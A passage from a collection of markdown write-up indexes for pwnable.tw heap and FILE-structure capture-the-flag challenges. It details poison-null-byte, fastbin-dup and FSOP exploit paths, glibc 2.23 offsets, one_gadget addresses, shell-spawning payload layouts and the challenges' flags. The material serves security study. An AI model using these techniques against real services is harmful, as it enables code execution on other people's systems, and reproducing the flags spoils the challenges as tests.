allocations.\n\n**Steps:**\n\n1. **Leak libc + heap** via UAF.\n2. **Fastbin dup into `main_arena`** (using a heap address with a valid size byte in the right position).\n3. **Overwrite `main_arena.top`** with `__free_hook - 0xb58` (an address with non-zero data serving as the new top chunk's size).\n4. **Repeatedly allocate** to advance the top chunk toward `__free_hook`.\n5. **Overwrite `__free_hook`** with `system`.\n6. **Free a chunk** containing `\"/bin/sh\"` → `system(\"/bin/sh\")`.\n\n**Reliability:** Works but requires many allocations to reach `__free_hook`. Fragile.\n\n---\n\n### Path E — Unsorted Bin Attack → `global_max_fast` → Large Fastbin → `__free_hook`\n\n**Used by:** Solution 821 (method 1)\n\n1. **Unsorted bin attack** to write `main_arena+0x58` to `global_max_fast`, making all chunk sizes treated as fastbins.\n2. **Free a large chunk** → it goes into a \"fastbin\" slot that maps to a useful address.\n3. **Allocate from that fastbin** to get a chunk near `__free_hook`.\n4. **Overwrite `__free_hook`** with `system`.\n\n**Reliability:** Complex setup, less commonly used.\n\n---\n\n### Path F — `__realloc_hook` + `__malloc_hook` Combo\n\n**Used by:** Solutions 2311, 2605\n\nA variant of Path A that handles one_gadget constraint failures:\n\n1. Same fastbin dup to `__malloc_hook - 0x23`.\n2. Write `one_gadget` to `__realloc_hook` and `__libc_realloc + 20` to `__malloc_hook`.\n3. When `malloc` is called → `__malloc_hook` → `__libc_realloc(+20)` → `__realloc_hook` → `one_gadget`.\n4. The extra `realloc` stack frame adjusts `rsp` alignment so the one_gadget constraints are satisfied.\n\n## Exploit Primitive Summary\n\n| Primitive | Source | Reliability |\n|-----------|--------|-------------|\n| libc leak (unsorted bin fd/bk) | V1: UAF read after free into unsorted bin | Deterministic |\n| Heap leak (fastbin fd) | V1: UAF read after free into fastbin | Deterministic |\n| Fastbin duplication | V1: double-free same name buffer | Deterministic |\n| Arbitrary write (fastbin dup) | Fake fd → alloc at target address | Deterministic (needs valid size byte) |\n| Stack leak | Arbitrary read via forged flower struct → `environ` | Deterministic after arb read |\n| Code execution | `__malloc_hook`, `__free_hook`, vtable, or stack ROP | Deterministic |\n\n## Key Offsets (pwnable.tw `libc_64.so.6`, glibc 2.23)\n\n```python\nmain_arena = 0x3c3b20\nmain_arena_top = 0x3c3b78 # main_arena + 0x58 (unsorted bin head)\n__malloc_hook = 0x3c3b10\n__realloc_hook = 0x3c3b08\n__free_hook = 0x3c57a8\n_IO_list_all = 0x3c4520\n_IO_2_1_stdout = 0x3c4620\nenviron = 0x3c5f38 # (in some solutions: __libc_argv = 0x3c82f8)\nsystem = 0x45390\nbin_sh = 0x18c177\npop_rdi = 0x21102 # pop rdi; ret\none_gadgets = [0x45216, 0x4526a, 0xef6c4, 0xf0567]\n```\n\n## Solution Write-ups\n\n| File | Primary Path | Key Technique | Notes |\n|------|-------------|---------------|-------|\n| `8.md` | B | fastbin dup → stack ROP via environ leak | Full arbitrary read chain; leaks heap, libc, stack, canary |\n| `10.md` | B | fastbin dup → stack ROP via TLS/mmap leak | Unusual: leaks libc via TLS region from mmap'd chunk |\n| `59.md` | B | fastbin dup → stack ROP | Clean approach; leaks libc, stack via environ |\n| `60.md` | B | unsorted bin split → stack ROP | Leaks libc via remainder chunk metadata |\n| `78.md` | C | fastbin dup → `_IO_2_1_stdout_` vtable | Overwrites stdout vtable pointer to fake vtable |\n| `100.md` | C | fastbin dup → `_IO_list_all` → exit trigger | Crafts fake IO stream, triggers via exit(0) |\n| `138.md` | C | fastbin dup → `_IO_list_all` | Ruby exploit; IO_flush_all to one_gadget |\n| `184.md` | B | fastbin dup → stack ROP via `__libc_argv` | Leaks stack from __libc_argv instead of environ |\n| `278.md` | C | fastbin dup → stdout vtable hijack | Overwrites stdout vtable to fake vtable with one_gadget |\n| `331.md` | A | unsorted bin leak → fastbin dup → `__malloc_hook` | First doubles as libc+heap leak then overwrites malloc_hook |\n| `365.md` | C | fastbin dup → `_IO_list_all` + fake IO | Constructs full fake FILE struct on heap |\n| `370.md` | A | fastbin dup → `__malloc_hook` via IO_list vtable | Variant: overwrites IO stdout vtable to one_gadget |\n| `550.md` | D | fastbin dup → `main_arena.top` overwrite → `__free_hook` | Unusual: hijacks top chunk to reach __free_hook |\n| `644.md` | B | fastbin dup → stack ROP via environ | Classic: leak stack, ROP into read() return address |\n| `821.md` | E + A | unsorted bin attack → `global_max_fast` + fastbin → `__free_hook` | Three different exploit methods in one writeup |\n| `1172.md` | A | fastbin dup → `__malloc_hook` | Concise; standard approach |\n| `1236.md` | A | fastbin dup → `_IO_2_1_stdout_` vtable | Overwrite stdout vtable to one_gadget |\n| `1351.md` | C | fastbin dup → stdout vtable | Ruby; one_gadget via vtable |\n| `2311.md` | F | fastbin dup → `__realloc_hook` + `__malloc_hook` combo | Uses realloc to fix rsp alignment for one_gadget |\n| `2605.md` | A | fastbin dup → `__malloc_hook` | Standard approach with detailed heap manipulation |\n\n## Files\n\n| File | Description |\n|------|-------------|\n| `exp.py` | Working exploit script (fastbin dup → `__malloc_hook` → one_gadget) |\n| `desc.txt` | Challenge description |\n| `artifacts/` | Original challenge binary + libc |\n| `solution/*.md` | Community write-ups (128 solutions) |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":14202,"content_sha256":"2e1e18919fcc0a3e08ca18188ef4009a5c887f033e8755cebd64c43643437d58"},{"filename":"pwnable-tw/secret_of_my_heart.md","content":"---\ntags:\n - off-by-null\n - heap-consolidation\n - fastbin-dup\nplatform: pwnable.tw\npoints: 400\narch: x86-64\nlibc: glibc-2.23\nrelro: full\ncanary: yes\nnx: yes\npie: yes\nreferences:\n - https://pwnable.tw/challenge/\ndescription: \"An off-by-null byte in secret note creation allows clearing the prev_inuse bit, triggering backward heap consolidation into an active chunk to overwrite __malloc_hook.\"\nproof-of-concept: no\n---\n\n# Secret Of My Heart — pwnable.tw (400 pts)\n\n[← Back to pwnable.tw Challenge Index](README.md)\n\n> `nc chall.pwnable.tw 10302`\n>\n> Flag: `FLAG{It_just_4_s3cr3t_on_the_h34p}`\n\n## Challenge Overview\n\nA heap menu binary (x86-64, Full RELRO, PIE, NX, Canary) built against glibc 2.23. The player can add, show, and delete \"secrets\". Each secret metadata struct (0x30 bytes) lives in a random `mmap`'d region (seeded by `srand(time(0))`); its content buffer is `malloc`'d on the main heap. Max content size is 0x100, no edit primitive.\n\n```bash\nchecksec:\n Arch: amd64-64-little\n RELRO: Full RELRO # GOT not writable\n Stack: Canary found\n NX: NX enabled\n PIE: PIE enabled\n```\n\n## Key Data Structures\n\n### Secret Struct (0x30 bytes, in mmap region)\n\n```c\nstruct heart { // 0x30 bytes, at mmap'd address\n size_t size; // +0x00\n char name[0x20]; // +0x08 read 0x20 bytes, NO NUL terminator\n char *secret; // +0x28 malloc(size), on main heap\n};\n```\n\nThe secret metadata array is at a random `mmap`'d address. Up to 100 entries. The `secret` pointer points to a `malloc`'d heap chunk where the actual content is stored.\n\n## Vulnerabilities\n\n### V1 — Off-by-One NULL Byte (Poison Null Byte) — Primary\n\n**Root Cause:** When creating a secret, content is read with `read_n(buf, size)` and then a NUL terminator is placed at `buf[bytes_read]`. If exactly `size` bytes are sent (no trailing newline), `bytes_read == size`, so a NUL byte is written at `buf[size]` — one byte past the allocated region.\n\n```c\n// ADD function (decompiled)\nchunk[5] = (size_t)malloc(size);\nprintf(\"secret of my heart :\");\nresult = (_BYTE *)(chunk[5] + (int)read_F((void *)chunk[5], size));\n*result = 0; // \u003c-- off-by-one NULL at buf[size]\n```\n\n**Impact:** When `size == chunksize - 8` (e.g., `size = 0xf8` → chunk `0x100`, or `size = 0x88` → chunk `0x90`), the NUL byte overwrites the **lowest byte of the next chunk's size field**, clearing its `prev_inuse` bit (`0x101 → 0x100`). This is the classic **poison null byte** primitive enabling heap chunk overlapping via backward consolidation.\n\n### V2 — Name Info Leak (Heap Pointer)\n\n**Root Cause:** The `name` field is read with `read_F(name, 0x20)` which does **not** NUL-terminate. The `name[0x20]` buffer is immediately followed by the `secret` pointer (a heap address). `Show` uses `printf(\"Name : %s\\n\", name)` which reads past the 0x20 bytes into the heap pointer.\n\n```c\nprintf(\"Name : %s\\n\", (const char *)(unk_202018 + 48LL * idx + 8));\n// name[0x20] || secret_ptr ← leaked\n```\n\n**Impact:** Fill name with 0x20 non-NUL bytes → `Show` leaks the `secret` heap pointer → **heap base**.\n\n### V3 — Predictable mmap Address (`srand(time(0))`)\n\n**Root Cause:** The secret metadata array address is derived from `rand() & 0xfffff000` seeded with `srand(time(0))`. An attacker can predict this by calling `srand(time(0))` locally at the same time.\n\n```c\nsrand(time(0));\ndo { addr = rand() & 0xfffff000; } while (addr \u003c= 0x10000);\nsecrets = mmap(addr, ...);\n```\n\n**Impact:** Knowing the mmap base lets attackers craft fake chunks in the metadata region and perform fastbin attacks targeting it (e.g., overwriting a secret's `secret` pointer to achieve arbitrary read/write).\n\n### V4 — Hidden Command (0x1305)\n\nSending `4869` (= `0x1305`) as the menu choice prints the mmap base address and exits. Not useful in practice since it terminates the connection, but confirms the mmap address.\n\n## Exploit Paths\n\nAll solutions use V1 (poison null byte) for chunk overlapping. They diverge on the specific heap layout, leak strategy, and final hijack target.\n\n---\n\n### Path A — Poison Null Byte → Chunk Overlap → Unsorted Bin Leak → Fastbin Dup → `__malloc_hook`\n\n**Used by:** ~80% of solutions (exp.py, 8153, 13204, 25916, 34817, 37983, 7905, 18331, etc.)\n\nThis is the dominant approach:\n\n1. **Leak heap base (V2):** Allocate a secret with name filled to 0x20 bytes. `Show` leaks the adjacent `secret` pointer → derive heap base.\n\n2. **Poison null byte (V1):** Allocate chunks A, B, C in sequence. Free B, then free and re-allocate A with `size = chunksize-8` bytes to trigger the off-by-one NULL, clearing B's `prev_inuse` bit in C's size field. Place a fake `prev_size` in the padding so that `free(C)` triggers backward consolidation, merging C with B and creating a large free chunk that **overlaps** a still-allocated small chunk D (allocated between B and C before freeing).\n\n3. **Leak libc:** The overlapping chunk D's data now coincides with freed unsorted bin metadata. `Show(D)` reads the `fd` pointer → `main_arena + 0x58` → subtract offset → **libc base**.\n\n4. **Fastbin dup / fastbin attack:** Using the overlap, modify a freed fastbin chunk's `fd` to point to `__malloc_hook - 0x23` (the classic 0x7f size trick in glibc 2.23). After two `malloc(0x68)` calls, the third returns a pointer near `__malloc_hook`.\n\n5. **Overwrite `__malloc_hook`:**\n - **Simple:** Write `one_gadget` directly to `__malloc_hook`.\n - **Realloc trick:** Write `one_gadget` to `__realloc_hook` and `realloc + offset` to `__malloc_hook`. When malloc fires, it jumps to realloc which adjusts `rsp` (via extra `push` instructions) before `call __realloc_hook`, satisfying the one_gadget's `[rsp+0x30]==NULL` constraint.\n\n6. **Trigger:** Any operation that calls `malloc` (e.g., add a new secret, or trigger `malloc_printerr` via double-free) → one_gadget → shell.\n\n**Realloc hook trick detail:**\n\n```python\n# user data starts at __malloc_hook - 0x13\npayload = b'\\x00' * 0x0b # padding to reach __realloc_hook\npayload += p64(one_gadget) # __realloc_hook\npayload += p64(realloc + 0xc) # __malloc_hook\n# Flow: malloc → jmp __malloc_hook (= realloc+0xc)\n# → push rbx; sub rsp,0x38; ... call __realloc_hook\n# → one_gadget with adjusted rsp\n```\n\n---\n\n### Path B — Poison Null Byte + Predictable mmap (V3) → Fastbin to mmap Region → Arbitrary R/W\n\n**Used by:** Solutions 370, 8, 59, 821, 1303, 2277, 3498, 34817\n\nThis variant uses the predictable mmap address to craft fake chunks in the metadata region:\n\n1. **Predict mmap base (V3):** Call `srand(time(0)); rand() & 0xfffff000` locally.\n\n2. **Leak heap base (V2):** Same as Path A.\n\n3. **Poison null byte → overlap:** Same as Path A.\n\n4. **Fastbin attack targeting mmap region:** Point a corrupted fastbin `fd` at the mmap metadata area (which contains the secret structs). After malloc returns a chunk in the metadata region, overwrite a secret struct's `secret` pointer to point at an arbitrary address.\n\n5. **Arbitrary read:** Point `secret` at a heap address containing unsorted bin `fd` → `Show` leaks libc.\n\n6. **Arbitrary write:** Point `secret` at `__malloc_hook`, `__free_hook`, or `__environ` → overwrite or leak as needed.\n\n7. **Hijack:**\n - `__free_hook = system` → free a secret containing `\"/bin/sh\"`.\n - `__malloc_hook = one_gadget` → trigger malloc.\n\n---\n\n### Path C — Poison Null Byte → Stack Leak via `__environ` → ROP on Stack\n\n**Used by:** Solutions 8, 59, 3498\n\n1. **Same overlap + libc leak** as Path A/B.\n2. **Leak stack:** Point a secret's `secret` pointer at `libc.__environ` → `Show` leaks a stack address.\n3. **Fastbin attack on stack:** Use the stack address to find a 0x7f byte near the return address of `read_n()`. Place a fake fastbin chunk there.\n4. **ROP chain:** Overwrite `read_n()`'s return address with `pop rdi; ret; \"/bin/sh\"; system`.\n\n---\n\n### Path D — House of Orange / FSOP (`_IO_list_all` overwrite)\n\n**Used by:** Solutions 138, 278, 1006\n\nInstead of targeting hooks, this approach corrupts the `_IO_list_all` / `_IO_2_1_stdout_` vtable:\n\n1. **Same overlap + libc leak.**\n2. **Fastbin attack targeting `stdout`:** Overwrite the FILE struct's vtable pointer to a fake vtable on the heap containing `system` or `one_gadget` in the `xsputn` slot.\n3. **Trigger:** Any `printf`/`puts` call invokes the corrupted vtable → shell.\n\nAlternatively, corrupt `_IO_list_all` to point to a fake FILE struct on the heap with `system` as the overflow handler, then trigger `malloc_printerr` → `_IO_flush_all_lockp` → shell.\n\n---\n\n### Path E — House of Einherjar (Direct)\n\n**Used by:** Solutions 821, 3498\n\nUses the poison null byte differently — rather than standard backward consolidation, carefully crafts `prev_size` so that consolidation merges chunks all the way back to a fake chunk placed in the mmap metadata region or at a controlled heap address, allowing direct control of allocations at arbitrary locations.\n\n## Exploit Primitive Summary\n\n| Primitive | Source | Reliability |\n|-----------|--------|-------------|\n| Off-by-one NULL byte | V1: `buf[size] = 0` in add | Deterministic |\n| Heap base leak | V2: name[0x20] not NUL-terminated | Deterministic |\n| mmap base prediction | V3: `srand(time(0))` | ~1s timing window |\n| Chunk overlapping | V1 + backward consolidation | Deterministic |\n| libc leak (unsorted bin fd) | Overlapping chunk reads freed metadata | Deterministic |\n| Fastbin dup / poisoning | Overlapping → double view of same chunk | Deterministic |\n| `__malloc_hook` write | Fastbin attack to `malloc_hook - 0x23` | Deterministic |\n| Code execution | `one_gadget` via `__malloc_hook` or `__free_hook` | Deterministic |\n\n## Offsets (pwnable.tw `libc_64.so.6`, glibc 2.23)\n\n```python\n__malloc_hook = 0x3c3b10\n__realloc_hook = 0x3c3b08\n__free_hook = 0x3c57a8\n__libc_realloc = 0x83b10\nmain_arena + 88 = 0x3c3b78 # unsorted bin fd leak value\nsystem = 0x45390\nenviron = 0x3c5f38\nbin_sh = 0x18c177\n_IO_list_all = 0x3c4520\nstdout = 0x3c4620\n\n# Fake fastbin chunk for __malloc_hook\nfake_chunk = __malloc_hook - 0x23 # *(fake+8) = 0x7f from adjacent relocation\n\n# one_gadgets\none_gadgets = [0x4526a, 0xef6c4, 0xf0567]\n\n# realloc trick offsets (realloc + N skips N bytes of push prologue)\nrealloc_offsets = [0x0, 0x2, 0x4, 0x6, 0xb, 0xc, 0xd]\n# Winning combo: __malloc_hook = realloc+0xc, __realloc_hook = 0x4526a\n```\n\n## Solution Write-ups\n\n| File | Primary Path | Key Technique | Notes |\n|------|-------------|---------------|-------|\n| `370.md` | B | mmap predict + fastbin to mmap → vtable attack | `_IO_2_1_stdout_` vtable overwrite |\n| `8.md` | B + C | mmap predict + fastbin → environ → stack ROP | Full chain: heap → libc → stack |\n| `59.md` | B + C | mmap predict + poison null → environ → stack ROP | Uses numpy for rand prediction |\n| `138.md` | D | House of Orange / FSOP via `_IO_list_all` | Ruby exploit; fake FILE struct |\n| `278.md` | D | Fastbin → stdout vtable overwrite | Ruby; corrupts `_IO_2_1_stdout_` |\n| `550.md` | A | Poison null → overlap → unlink → libc → fastbin → `__free_hook` | Classic unlink + top chunk trick |\n| `821.md` | B + E | mmap predict + House of Einherjar → `__free_hook` | Two-script setup for rand server |\n| `1006.md` | A | Poison null → overlap → fastbin dup → `__malloc_hook` | Standard with heap leak first |\n| `1303.md` | B | mmap predict → fastbin to mmap → `__malloc_hook` | C helper for srand/rand |\n| `2277.md` | B | mmap predict → fastbin to mmap → `__free_hook` | Uses unsorted bin attack |\n| `3498.md` | B + E | mmap predict + Einherjar → fastbin → `__free_hook` | Detailed struct analysis |\n| `7905.md` | A | Poison null → overlap → unlink → libc leak → fastbin → `__malloc_hook` | Clean structured exploit |\n| `8153.md` | A | Poison null → overlap → fastbin dup → `__malloc_hook` | Realloc hook trick |\n| `13204.md` | A | Poison null → overlap → `__malloc_hook` + one_gadget | Detailed writeup (Chinese) |\n| `18331.md` | A | Standard poison null → fastbin → `__malloc_hook` | Concise |\n| `25916.md` | A | Poison null → overlap → fastbin → `__malloc_hook` | Double-free trigger |\n| `34817.md` | B + A | mmap predict + poison null → fastbin → `__malloc_hook` | Realloc trick |\n| `37983.md` | B + E | mmap predict + Einherjar → alloc to mmap → `__malloc_hook` | Realloc trick, detailed comments |\n\n## Files\n\n| File | Description |\n|------|-------------|\n| `exp.py` | Working exploit script (self-contained, no pwntools) |\n| `desc.txt` | Challenge description |\n| `artifacts/secret_of_my_heart` | Original challenge binary (stripped, PIE) |\n| `artifacts/libc_64.so.6` | Remote libc (glibc 2.23) |\n| `solution/*.md` | Community write-ups (99 solutions) |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":12886,"content_sha256":"6b215aad15c588d0a5a20e006dbf15cb0bfb41fafd9df9efc2aa1aad573caac5"},{"filename":"pwnable-tw/seethefile.md","content":"---\ntags:\n - io-file-exploit\n - vtable-hijack\n - arbitrary-write\nplatform: pwnable.tw\npoints: 400\narch: i386\nlibc: glibc-2.23\nrelro: partial\ncanary: yes\nnx: yes\npie: no\nreferences:\n - https://pwnable.tw/challenge/\ndescription: \"Closing a fake _IO_FILE structure forged in the BSS segment hijacks the file vtable pointer during fclose, redirecting execution to system.\"\nproof-of-concept: no\n---\n\n# seethefile — pwnable.tw (400 pts)\n\n[← Back to pwnable.tw Challenge Index](README.md)\n\n> `nc chall.pwnable.tw 10200`\n>\n> Flag: `FLAG{F1l3_Str34m_is_4w3s0m3}`\n\n## Challenge Overview\n\nA 32-bit file viewer binary (i386, No PIE, Partial RELRO, NX, Stack Canary) built against glibc 2.23. The program presents a menu to open, read, print, and close files. On exit it asks for a name and calls `fclose(fp)` on a global FILE pointer. The flag file cannot be opened directly (filename filter blocks \"flag\").\n\n```bash\nchecksec:\n Arch: i386-32-little\n RELRO: Partial RELRO # GOT writable\n Stack: Canary found\n NX: NX enabled\n PIE: No PIE (0x8048000) # fixed addresses in .bss\n```\n\n### Binary Layout (BSS)\n\n```python\n0x804B080 filename[64] — stores the filename from openfile()\n0x804B0C0 magicbuf[400] — fread() destination buffer\n0x804B260 name[32] — scanf(\"%s\", name) destination on exit\n0x804B280 fp — global FILE* pointer\n```\n\n### Menu Functions (IDA decompile)\n\n```c\n// main loop\nwhile (1) {\n menu();\n scanf(\"%s\", v8); // stack buffer, reads menu choice\n switch (atoi(v8)) {\n case 1: openfile(); break;\n case 2: readfile(); break;\n case 3: writefile(); break;\n case 4: closefile(); break;\n case 5:\n printf(\"Leave your name :\");\n scanf(\"%s\", name); // \u003c-- V1: unbounded write to BSS\n printf(\"Thank you %s ,see you next time\\n\", name);\n if (fp) fclose(fp); // \u003c-- V2: fclose on attacker-controlled fp\n exit(0);\n }\n}\n\nvoid openfile() {\n scanf(\"%63s\", filename);\n if (strstr(filename, \"flag\")) { puts(\"Danger !\"); exit(0); }\n fp = fopen(filename, \"r\");\n}\n\nvoid readfile() {\n memset(magicbuf, 0, 400);\n fread(magicbuf, 399, 1, fp);\n}\n\nvoid writefile() {\n if (strstr(filename, \"flag\") || strstr(magicbuf, \"FLAG\") || strchr(magicbuf, '}'))\n { puts(\"you can't see it\"); exit(1); }\n puts(magicbuf);\n}\n\nvoid closefile() {\n if (fp) fclose(fp);\n fp = 0;\n}\n```\n\n## Vulnerabilities\n\n### V1 — `scanf(\"%s\", name)` Buffer Overflow on BSS (Primary)\n\n**Root Cause:** The exit handler reads the user's name with `scanf(\"%s\", name)` where `name` is a 32-byte BSS buffer at `0x804B260`. `scanf(\"%s\")` has **no length limit** — it writes until whitespace.\n\n```c\n// Exit path in main\nprintf(\"Leave your name :\");\nscanf(\"%s\", name); // name = 0x804B260, 32 bytes\n// ...\nif (fp) fclose(fp); // fp = 0x804B280 = name + 0x20\n```\n\n**Impact:** Writing >32 bytes overwrites the global `FILE *fp` at `0x804B280`. The attacker can point `fp` to an arbitrary address — including right after itself in BSS, where the overflow payload continues with a **fake `_IO_FILE_plus` struct**.\n\n### V2 — `fclose()` on Attacker-Controlled `FILE*` (FSOP)\n\n**Root Cause:** After the overflow, `fclose(fp)` operates on the attacker-forged `FILE*`. In glibc 2.23 (no vtable validation), `fclose` dispatches through the struct's vtable pointer. By crafting a fake `_IO_FILE_plus` with a fake vtable, the attacker redirects a virtual call (typically `_IO_FINISH` or `__close`) to `system()`.\n\nThe glibc 2.23 `_IO_new_fclose` flow:\n\n```c\nint _IO_new_fclose(FILE *fp) {\n if (_IO_vtable_offset(fp) != 0) // fp+0x46 must be 0\n return _IO_old_fclose(fp);\n if (fp->_flags & _IO_IS_FILEBUF) // clear bit 0x2000 to skip\n _IO_un_link(fp);\n _IO_acquire_lock(fp); // fp->_lock (fp+0x48) dereferenced\n // ...\n _IO_FINISH(fp); // *(*(fp+0x94) + 0x8)(fp)\n // ...\n}\n```\n\n**Key constraints for the fake struct:**\n- `fp+0x46` (`_vtable_offset`) must be `0` — avoids `_IO_old_fclose` path\n- `fp->_flags` must have `_IO_IS_FILEBUF` (0x2000) cleared — skips `_IO_un_link` and `_IO_file_close_it`\n- `fp+0x48` (`_lock`) must point to zeroed writable memory — lock acquisition dereferences it\n- `fp+0x94` (`vtable`) must point to a fake vtable where offset `+0x8` (`__finish`) = `system`\n\nWhen `_IO_FINISH(fp)` fires, it calls `system(fp)`. Since `fp` points to the start of the fake struct, placing `\";/bin/sh;\"` at the beginning makes `system` execute it (the leading garbage before `;` errors out harmlessly).\n\n### V3 — Information Leak via `/proc/self/maps`\n\n**Root Cause:** The filename filter only blocks `\"flag\"`, not `/proc/self/maps`. Opening and reading this file dumps the full memory map including libc's base address.\n\n```c\nif (strstr(filename, \"flag\")) { ... } // only blocks \"flag\"\n// /proc/self/maps is allowed\n```\n\n**Impact:** Deterministic libc base leak. The `writefile` function also filters for `\"FLAG\"` and `}` in the read buffer, but `/proc/self/maps` output doesn't contain those strings.\n\n## Key Data Structures\n\n### `_IO_FILE` (glibc 2.23, i386 — 0x94 bytes + vtable pointer)\n\n| Offset | Field | Notes for exploit |\n|--------|-------|-------------------|\n| `0x00` | `_flags` | Set to `0xFFFFDFFF` (clears `_IO_IS_FILEBUF` bit 0x2000) |\n| `0x04` | `_IO_read_ptr` | Part of `\";/bin/sh;\"` command string |\n| `0x08` | `_IO_read_end` | Continuation of shell command |\n| `0x0C` | `_IO_read_base` | Can be zero or continuation |\n| `0x10`–`0x30` | I/O buffer pointers | Typically zeroed |\n| `0x34` | `_chain` | Can be zero |\n| `0x38` | `_fileno` | Can be zero |\n| `0x44` | `_cur_column` / `_vtable_offset` | **`_vtable_offset` at +0x46 must be 0** |\n| `0x48` | `_lock` | **Must point to zeroed writable memory** |\n| `0x4C` | `_offset` | Can be `0xFFFFFFFF` |\n| `0x94` | `vtable` | **Points to fake vtable** |\n\n### Fake Vtable (`_IO_jump_t`)\n\n| Offset | Field | Value |\n|--------|-------|-------|\n| `0x00` | `__dummy` | 0 |\n| `0x04` | `__dummy2` | 0 |\n| `0x08` | `__finish` | **`system`** ← called by `_IO_FINISH(fp)` |\n| `0x0C+` | remaining entries | `system` (spray for reliability) |\n\n## Exploit Paths\n\nAll 146 solutions follow essentially the same approach with minor variations in the fake struct layout.\n\n---\n\n### Path A — `/proc/self/maps` Leak → FSOP `fclose` → `system(\"/bin/sh\")` (Standard)\n\n**Used by:** Virtually all solutions (370, 385, 654, 799, 823, 1395, 1689, 1922, 2903, 9418, 9871, 14605, 16806, 26585, 28356, 34604, 36233, 37983, etc.)\n\n**Steps:**\n\n1. **Leak libc base:** Open `/proc/self/maps`, read + write to screen. Parse the libc mapping line to get the base address. Some solutions need two reads (the 399-byte `fread` buffer may not reach the libc line in one go).\n\n2. **Compute `system` address:** `system = libc_base + 0x3A940` (for the challenge's glibc 2.23).\n\n3. **Craft the FSOP payload:** On exit, `scanf(\"%s\", name)` writes starting at `0x804B260`:\n\n```text\n+0x00: padding (32 bytes) — fills name[32]\n+0x20: p32(fake_fp_addr) — overwrites fp to point to fake struct\n+0x24: fake _IO_FILE_plus — starts here (or at +0x24)\n +0x00: flags = 0xFFFFDFFF (or similar, _IO_IS_FILEBUF cleared)\n +0x04: \";/bin/sh;\" (system argument via fp pointer)\n ...\n +0x48: _lock → zeroed BSS (e.g. 0x804B0A0 or 0x804B260+offset)\n ...\n +0x94: vtable → fake_vtable_addr\nfake_vtable:\n +0x08: system address\n```\n\n4. **Trigger:** After `scanf` returns, `fclose(fp)` processes the fake struct, eventually calling `_IO_FINISH(fp)` which resolves to `system(fp)`. Since `fp` points to memory starting with `\";/bin/sh;\"`, the shell spawns.\n\n5. **Get flag:** `echo 'Give me the flag' | /home/seethefile/get_flag`\n\n**Reliability:** ~100% deterministic. The only failure case is if `system`'s address contains a whitespace byte (`\\x09`, `\\x0a`, `\\x0b`, `\\x0c`, `\\x0d`, `\\x20`) which would terminate `scanf(\"%s\")`. This is ASLR-dependent and can be retried.\n\n---\n\n### Path A Variant — Redirect `__close` Instead of `__finish`\n\n**Used by:** Solutions 799, 1236, 1902\n\nSome solutions target a different vtable slot. Instead of `_IO_FINISH` (vtable+0x08), they arrange the fake struct so `_IO_SYSCLOSE` → `system` fires through the `__close` slot (vtable+0x44). The principle is identical — just a different offset in the fake vtable.\n\n---\n\n### Path A Variant — Format String via Fake `fread`\n\n**Used by:** Solution 331, 1006\n\nA creative two-stage approach:\n1. First exit: craft a fake FILE struct where `fread` → `printf` (redirect vtable read to printf). This leaks a libc address from the stack via format string (`%6$x`).\n2. Return to `main` (by setting the vtable's finish/close entry to `main`).\n3. Second exit: now with libc known, craft the real FSOP payload with `system`.\n\nThis avoids needing `/proc/self/maps` for the leak but is more complex.\n\n---\n\n### Path A Variant — `add_esp` Gadget → Stack Pivot\n\n**Used by:** Solution 1236\n\nInstead of directly calling `system` through the vtable, uses a `add esp, X; ret` libc gadget to pivot execution onto the BSS payload area, then chains `system(\"/bin/sh\")` via a ROP-style sequence. More complex but demonstrates that the vtable hijack gives arbitrary code execution, not just one-shot `system`.\n\n## Exploit Primitive Summary\n\n| Primitive | Source | Reliability |\n|-----------|--------|-------------|\n| libc base leak | `/proc/self/maps` via open/read/write | Deterministic |\n| Heap base leak | `/proc/self/maps` (bonus, not needed) | Deterministic |\n| Stack address leak | `/proc/self/stat` (field 28) | Deterministic |\n| BSS overflow → `fp` overwrite | `scanf(\"%s\", name)` with >32 bytes | Deterministic |\n| Fake `_IO_FILE_plus` in BSS | Payload placed after `name` buffer | Deterministic |\n| `system` via vtable hijack | `fclose(fake_fp)` → `_IO_FINISH` | ~100% (retry if scanf-terminator byte in addr) |\n\n## Offsets (pwnable.tw `libc_32.so.6`, glibc 2.23)\n\n```python\nsystem = 0x3A940\nexit = 0x2E7B0\nbin_sh = 0x158E8B\n_IO_file_jumps = \u003clibc_base + offset> # real vtable (for reference)\n```\n\n## BSS Addresses (No PIE)\n\n```python\nfilename = 0x0804B080 # 64 bytes\nmagicbuf = 0x0804B0C0 # 400 bytes\nname = 0x0804B260 # 32 bytes — overflow source\nfp = 0x0804B280 # FILE* — overflow target\n# Fake struct typically at 0x804B284 or 0x804B290\n```\n\n## Solution Write-ups\n\n| File | Variant | Key Technique | Notes |\n|------|---------|---------------|-------|\n| `370.md` | Standard | maps leak → FSOP `__finish` → system | Clean, concise |\n| `331.md` | Format string | Fake fread→printf for leak, then FSOP | Two-stage, avoids /proc |\n| `385.md` | Standard | maps leak → FSOP → system | Uses ELF symbol offsets |\n| `654.md` | Standard | maps + heap leak → FSOP | More complex struct layout |\n| `799.md` | Standard | maps leak → FSOP `__close` path | Targets different vtable slot |\n| `823.md` | Standard | maps leak → FSOP → get_flag | Automated flag retrieval |\n| `1006.md` | Format string | fread→printf leak, two exits | Creative vtable swap |\n| `1236.md` | Stack pivot | maps leak → add_esp gadget → ROP | Uses gadget instead of direct system |\n| `1395.md` | Standard | maps leak → FSOP | Straightforward |\n| `1689.md` | Standard | maps leak → FSOP | Minimal payload |\n| `1902.md` | Standard | maps leak → FSOP | Targets __close vtable offset |\n| `1922.md` | Standard | maps leak → FSOP `__finish` | Clean struct layout |\n| `2903.md` | Standard | maps leak → FSOP | Well-commented |\n| `9418.md` | Standard | maps leak → FSOP with gdb analysis | Includes FILE struct walkthrough |\n| `9871.md` | Standard | maps leak → FSOP | Also leaks heap and stack via /proc |\n| `14605.md` | Standard | maps leak → FSOP | Also leaks stack via /proc/self/stat |\n| `26585.md` | Standard | maps leak → FSOP | Uses _IO_old_fclose path variant |\n| `28356.md` | Standard | maps leak → FSOP | Simple and clean |\n| `34604.md` | Standard | maps leak → FSOP with detailed analysis | Best documented; includes glibc source walkthrough |\n| `36233.md` | Standard | maps leak → FSOP with detailed vtable docs | Includes vtable struct layout and fclose source code |\n| `37983.md` | Standard | maps leak → _IO_old_fclose variant | Uses fsop_fclose_old flat() layout |\n\n## Files\n\n| File | Description |\n|------|-------------|\n| `exp.py` | Working exploit script (pure sockets, no pwntools) |\n| `desc.txt` | Challenge description |\n| `artifacts/seethefile` | Challenge binary (i386, No PIE) |\n| 